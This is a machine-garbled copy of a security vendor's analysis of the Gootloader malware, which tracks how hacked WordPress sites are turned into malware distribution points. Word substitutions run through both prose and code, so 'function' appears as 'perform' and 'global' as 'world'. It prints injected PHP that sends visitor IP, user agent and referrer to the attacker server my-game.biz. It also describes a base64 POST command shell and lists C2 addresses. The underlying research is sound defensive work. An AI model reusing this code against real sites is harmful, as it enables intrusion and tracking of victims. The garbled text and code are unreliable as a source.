Gootloader inside out – Sophos Information

That hidden factor had hyperlinks (chosen with inexperienced) and the matching focused search phrases (chosen with brown):

This hidden factor won’t be seen to human webpage guests. However search engine crawlers see and course of it, which tips the various search engines into treating the web site as if it offers related content material on the poisoned search time period, thus rating the positioning excessive within the search outcomes.

Compromised touchdown web page code

When safety vendor Sucuri wrote up a weblog submit about an earlier technology of Gootloader, it included this screenshot:

The report (and screenshot) revealed three promising strings:

• The request: $_GET[‘a55d837’
• A malicious web domain name: ‘my-game[.]biz’
• A SQL question (proven on a special screenshot in Sucuri’s weblog): ‘SELECT * FROM backupdb_’

Looking out Google for code fragment $_GET[‘a55d837’ led us to an online decoder page, where the result (now deleted) of another researcher’s query revealed the encoded version of the PHP code used in the malicious web page:

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["x52105x4d117x54105x5f101x44104x52"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("x53105x4c105x43124x20105x58111x53124x5340x28123x45114x45103x5440x2a40x46122x4f115x20142x61143x6b165x70144x62137".$table_prefix.
                "x6c163x74141x7440x57110x45122x4540x77160x2075x2047".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "x2751x3b") == 1) {

and the decoded model of that very same script:

perform qwc1() {
    world $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["REMOTE_ADDR"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("SELECT EXISTS (SELECT * FROM backupdb_".$table_prefix.
                "lstat WHERE wp = '".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "');") == 1) {

Whereas it isn’t clear how the code ended up on that web site, the Web by no means forgets: Engines like google discovered and listed this evaluation. This gave us the primary perception at what the injected code of the compromised touchdown pages would appear to be.

(Each the evaluation linked above, and one other web page I subsequently discovered on malwaredecoder.com, had been later eliminated by their respective website homeowners. Search outcomes that reveal ephemeral evaluation pages like these are solely out there for a brief time frame. Should you plan to quote supply supplies from websites reminiscent of these, hold an offline copy of the web page, as a result of they is probably not there once you return.)

At this level we didn’t know precisely how the websites are compromised, however we knew from the report that malicious PHP code is in some way inserted into the WordPress set up.

The search on Virustotal for content material:”SELECT * FROM backupdb_” offers a few recordsdata from a compromised server that include an error message:

WordPress database error: [Table 'interfree.backupdb_wp_lstat' doesn't exist]
SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');

The criminals are seemingly utilizing the database backupdb_wp_lstat, which should have been faraway from the server throughout a cleanup. We had been looking for this content material on VirusTotal (search time period: content material:”backupdb_wp_lstat”), hoping we might come upon a database dump. It’s all the time a good suggestion to arrange these guidelines and do extra retrohunts, which might reveal different beneficial recordsdata or knowledge.

We had been fortunate, and located an archive file containing a SQL dump of the WordPress database from a compromised server on a public malware repository.

The dumped database accommodates a desk referred to as backupdb_wp_lstat. Later evaluation decided that this desk accommodates the IP handle blocklist the malicious web site makes use of to stop repeat visits.

The obfuscated PHP code was additionally viewable within the database dump:

…as was the injected search engine marketing poisoning content material, with the j$ok..j$ok marker:

Researchers who need to hunt for this identifiable string within the Descriptions property of the malicious touchdown pages can use the regex  /j$ok([0-9]{1,10})j$ok/

This marker serves as placeholder for the spot the place Gootloader’s hyperlink to the web page renderer script is inserted. When the Gootloader web page is served up, it excludes the marker from the web page supply.

Nevertheless, the code extracted from the SQL database dump was not precisely the identical as what was proven within the Sucuri weblog. We continued trying to find extra examples by pivoting on the C2 server my-game[.]biz, and located a handful of PHP recordsdata referring to that server:

The submission title commented_functions.php appeared promising. Certainly, it turned out to be seemingly the work of a researcher, analyzing the PHP supply code from the compromised WordPress set up. It was kindly documented intimately, saving us some evaluation time (which additionally helped as a result of we didn’t have all of the elements).

We had been ready to make use of the base64 string referenced within the “html” remark above to look VirusTotal, which led us to a (comparatively) not too long ago uploaded SQL dump.

The dump file contained the beforehand referenced base64 blob…

…which, when decoded, output the identical code that was initially revealed by Sucuri:

With this in hand, we had larger confidence within the provenance of this malicious code. We additionally recognized  the desk the place Gootloader shops it in a compromised WordPress database. Having positioned the dump of the WordPress database and the PHP code on the net decoder website, we’ve an entire copy of the malicious content material hosted on the compromised touchdown websites.

What’s within the touchdown web page code?

This code accommodates a easy PHP command shell, which the Gootloader attackers can use to keep up entry to compromised pages.

The variable $pposte holds the title of the parameter that will get executed. If the compromised web site receives an HTTPS POST with that string in it, the code on the web page will decode and execute any base64 encoded instructions it receives, turning right into a bare-bones command shell the attackers can use to keep up management over the server:

At different factors contained in the code, the script defines filters for WordPress occasions, which set off the execution of capabilities based mostly on predefined circumstances.

For instance, the next perform executes as soon as the attackers have arrange the compromised WordPress setting: the invoked code (referenced as “qvc5”) initializes the backupdb_wp_lstat database desk.

    add_action("wp", "qvc5");

This snippet from the qvc5() perform initializes the backend databases utilized by Gootloader:

if ($table_prefix < > "backupdb_".$qvc4) {
    $table_prefix = "backupdb_".$qvc4;
    wp_cache_flush();
    $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
    $qvc5 - > set_prefix($table_prefix);

On making ready the requested net web page, the malicious occasion handler hooks construct the request to the “mothership” (a reputation I’ve given to the web site the Gootloader operators use to centrally handle their fleet of compromised blogs). The communication sends the mothership the next parameters of the preliminary request, all in base64 encoded type:

• a: Distinctive server ID
• b: IP handle of the unsuspecting customer
• c: consumer agent
• d: referrer string

if (isset($_GET[$qwc4])) {
   $request = @wp_remote_retrieve_body(@wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]).
   '&b='.base64_encode($_SERVER["REMOTE_ADDR"]).
    '&c=".base64_encode($_SERVER["HTTP_USER_AGENT"]).
    "&d='.base64_encode(wp_get_referer()), array("timeout" => 120)))

Considered one of Gootloader’s most problematic behaviors is that it solely permits the potential sufferer to go to the positioning as soon as in a 24-hour interval. It does this by including the originating IP handle of this communication (the handle of the sufferer PC, variable ‘b’ above) to a block checklist. The server additionally geofences IP handle ranges, and solely permits requests to originate from particular international locations of curiosity to the Gootloader risk actor.  The referrer string (variable ‘d’ above) accommodates the unique search phrases.

This leads to a question that appears like this:

http://my-game.biz/index.php?a=YWFkZTVlZQ&b=ODUuMjE0LjEzMi4xMTc&c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ

(On this instance, the “&d=” referrer string is the base64-encoded worth of “google/?q=cisco_wpa_agreement”)

Later, we’ll see that the server’s response would be the pretend discussion board web page renderer code.

The mothership sends the pretend discussion board web page

The mothership response accommodates two elements: one accommodates the HTML header parts, and the opposite accommodates the web page physique content material. The 2 are delimited within the code by a tag.

The header half accommodates a number of parts, separated by pipe (“|”) characters. Utilizing what it will get from the mothership, the touchdown web page code will collect the HTML content material:

The script provides your complete /24 IP handle vary the place the request originated to a 24-hour block checklist. Neither the originating laptop, nor any others with the identical preliminary three units of numbers in its IP handle, can get the web page once more for no less than a day. (This was already seen within the SQL database dump):

How Gootloader renders the pretend discussion board web page

If the request comes from an IP handle that isn’t on the block checklist, the malicious code within the compromised WordPress database takes motion and delivers the bogus message board content material (usually titled merely “Questions And Solutions”) to the customer’s browser.

The one seen malicious content material within the supply code of a compromised touchdown web page is a straightforward inserted JavaScript tag. For instance:

https://powerstick.com/principal/?ad94610=1174868

Right here, once more, the distinctive key for the contaminated server is used as a parameter assigned to a numeric worth (1174868 within the above instance):

This

If the HTTPS GET request accommodates a question string that features the an infection ID, the handler code sends a request to the mothership and renders the response.

We’re capable of get the code returned by the mothership by grabbing the pretend touchdown web page HTML supply, and utilizing an internet debugger that information the on-the-fly modifications.

First it deletes the unique content material of the HMTL web page:

…and replaces it with the pretend discussion board textual content…

…which additionally accommodates the obtain hyperlink for the primary stage JScript payload:

The end result will appear to be a dialog within the weblog feedback through which somebody “asks” a query an identical to the search question handed from the Google referrer textual content, a “response” seems from a consumer account named Admin with the search time period hotlinked to the primary stage JScript downloader, and a followup “response” from the identical “consumer” who “requested” the preliminary query, thanking the admin who “answered.”

The whole dialog is a fiction. It follows this sample in each Gootloader incident.

The primary-stage downloader website

The pretend discussion board web page connects to the primary stage obtain server, the place a PHP script serves the primary stage JScript downloader script.

(We obtained a duplicate of this script from one other researcher within the safety group, who needs to stay nameless, underneath TLP:Crimson restrictions. Whereas we couldn’t use the script we obtained on this weblog submit, we might use traits of the script to hunt for comparable samples.)

On the server aspect, this file is embedded as a big Base64-encoded knowledge blob, with textual content that begins:

With this data, we might seek for comparable scripts, utilizing this Yara rule:
rule gootkit_stage1_dl{
   strings:
          $a = "
This gave us a handful of different variants of the script, with the principle distinction being the obtain URL:

We noticed two mothership addresses, 5.8.18[.]7 and my-game[.]biz within the samples we studied. On the time we initially researched this, the my-game area resolved to that IP handle (it now resolves elsewhere). Oddly, the compromised touchdown web page code hyperlinks to the area, and the primary stage JScript downloader hyperlinks to the IP handle.
The primary stage obtain script (down.php or be part of.php or about.php or index.php) merely relays the incoming request to the mothership:

The request despatched to the mothership will return the first-stage downloader JScript packaged in a Zip archive. As a result of it passes the unique referrer string all the way in which to the mothership, it’s going to obtain the unique search phrases, and might return a payload with a file title matching these search phrases, which is what we’ve noticed occurs.
How Gootloader compromises WordPress servers
Close to the top of our preliminary analysis, we discovered an essential piece of details about the seemingly supply of the preliminary compromise of the internet hosting WordPress servers. As we collect extra data, it’s price revisiting prior analysis, which can reveal clues that we didn’t know had been associated on the time.
The writeup describes an assault the place attackers positioned a modified copy of the Howdy Dolly plugin within the WordPress uploads listing (e.g. wp-content/uploads/), which they then used to provoke the set up of the malicious WordPress content material.
HelloDolly.php has been a inventory plugin, included with the WordPress self-hosted obtain, for a few years. In any case, modifying this code in a comparatively benign plugin, and leaving it in place on the compromised server, permits Gootloader to function in plain sight whereas minimizing the filesystem modifications that may reveal a compromise to an alert webmaster.
There are a number of methods through which a risk actor would possibly be capable to place a file right into a WordPress website: The credentials for the online server might need been phished or stolen; a WordPress part could have had a vulnerability that permitted distant customers to carry out SQL injection or command execution exploits on the host server; the executive WordPress password might need been stolen.
On this case, the writeup accommodates a screenshot:

We searched VirusTotal for extra of those recordsdata:
content material:"dolly_css"
Whereas we discovered a number of clear, authentic variations of the HelloDolly.php file…

2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499
2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127

…we discovered many extra the place the backdoor code had been injected…

03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016
1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7
258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69
5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27
7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57
af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029

…and we additionally discovered a number of Zips that contained full copies of compromised WordPress installations:

89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a

Right here, the malicious HelloDolly PHP script is put in as a WordPress plugin underneath the trail:
wp-contentpluginsHello_DollyHelloDolly.php

The malicious PHP recordsdata present the extra code, together with the unique Howdy Dolly lyrics. An inserted code will examine the POST request for particular parameters, and if discovered, will execute the submitted set up code.

We discovered different variations the place the $dolly variables are renamed $wp
The analysis weblog submit summarizes the method like this:

We discovered these elements within the SQL database dumps, giving us sufficient confidence to determine that this was (no less than) a technique the attackers compromised these professional WordPress websites to show them into distribution servers.

Docking with the mothership
The mothership server performs a central position orchestrating the early levels of the infection course of: It offers the pretend discussion board content material that the compromised websites show within the goal’s browser, in addition to the primary stage payload.
Sadly, as a result of this has all been maintained on a server that’s immediately managed by the risk actors, no matter supply code it could include isn’t out there to researchers.
Disturbingly, since 2018 when Gootloader first appeared on the scene, it has used the identical area, and for many of that point, the area pointed to many of the similar IP addresses.
5.8.18[.]7
The my-game[.]biz area resolved to this IP handle for a number of years. Lots of the malicious scripts level immediately at URLs hosted on this IP handle to ship elements of the an infection.
Identified URLs:
http://5.8.18[.]7/filezzz.php
The preliminary elements of the an infection are recordsdata often called Gootkit. They’re normally simply PHP scripts that include a base64-encoded string and a script to decode the info and output it to a variable, reminiscent of this file (variably known as be part of.php or down.php).

We had been additionally capable of establish a number of Gootkit recordsdata that seek advice from, or hyperlink to, this IP handle, together with this script, and this script. Each of those recordsdata include error messages that seek advice from one thing not with the ability to utterly obtain a part.

Curiously, the server-side downloader script was named file_tmp_41.php, which is in contrast to the downloader scripts seen usually. That will point out this script was an artifact of testing.
If we pivot off of this data, and (for instance) search VirusTotal for content material:” . The end result yields extra recordsdata, each of which include a URL that we’ve beforehand mentioned:
http[:]//5.8.18.7/filesst.php?a=$i&b=$u&c=$r&d=$h&e=$g
5.8.18[.]159
This was one other handle that my-game[.]biz has resolved to up to now. We had been capable of finding one other first-stage Gootkit part that hyperlinks on to this IP handle.
91.215.85[.]52
Yet one more IP that has been used to host my-game[.]biz and continues to take action. We discovered nonetheless one other first-stage Gootkit script that hyperlinks to this IP handle.
my-game[.]biz
The location is clean now, however the Web Archive reveals an attention-grabbing origin story to this area: In 2014, it was used to host a Russian on-line playing website. Since 2018, the web page has hosted no different content material however has been linked to the Gootkit/Gootloader malware.

The one different reference we might discover to the area was a Counter-Strike clan listing courting again greater than 15 years.

The listing lists this web site as the house web page for a bunch of “semi skilled” gamers based mostly in Germany who performed underneath the deal with #mY-GaMe.
Title:     #mY-GaMe
Clan-Tag (Kürzel):     #mY-GaMe`
Land (Hauptsitz des Clans):   Deutschlandweit
Ort (Hauptsitz des Clans):    Deutschlandweit
Chief:   pr0nb1tch
ICQ#:     256558686
Homepage: http://www.my-game.biz
Anzahl der Spieler:    10
Artwork der Spielmodi:     Leaguez
Clan-Profil:    Semi-Profi-Clan
Clan sucht neue Spieler:      Ja
Chief: kevin.goe@on-line.de


Open-source intelligence reveals lots
With a malware an infection methodology seemingly designed to make it as troublesome as potential for researchers to dig in and be taught the way it works, Gootloader stays probably the most pernicious and difficult-to-study threats on the net.
Nevertheless, regardless of most of its code present and working within different individuals’s WordPress servers, the proliferation of on-line evaluation instruments offers a wealthy pool of alternative to learn the way the malware works, and the way its loader delivers payloads. Because of the sources uploaded by quite a lot of completely different analysts and researchers, we’ve been capable of construct a virtually full image of how the malware operates.
The PHP scripts, embedded JavaScript elements, and downloadable JScript payloads of this an infection are actually effectively understood, and but the malware continues to have an effect, greater than six years after it was first found. Luckily, because of the comparatively sluggish tempo of the malware’s growth and its comparatively secure internet hosting of the “mothership” server, static and dynamic detections stay efficient.
And a last be aware about collaborative analysis tasks. It pays to develop and keep relationships with the malware evaluation and safety analysis group. For this venture, we obtained assist from a number of researchers, a few of whom didn’t need to be acknowledged. Our recommendation: Should you do this sort of work, don’t hesitate to share your findings; you’ll find that the trouble you spend money on collaboration with colleagues throughout the business will ultimately repay once you want data. We’re grateful for the help and assist we obtained from a number of people.
Acknowledgments
Sophos X-Ops gratefully acknowledges the contribution of Marv Ahlstrom, an search engine marketing skilled who suggested us about varied points of Gootloader/Gootkit’s malicious search engine marketing. The writer additionally needs to thank the pseudonymous researchers who use the handles @sS55752750, @SquiblydooBlog, and @GootLoaderSites for his or her help. We additionally acknowledge and are grateful for analysis beforehand revealed by Sucuri and Wealthy Infante. X-Ops researcher Andrew Brandt contributed to this evaluation.
Indicators of compromise
Hashes and different IOCs referenced on this story are listed on the SophosLabs Github.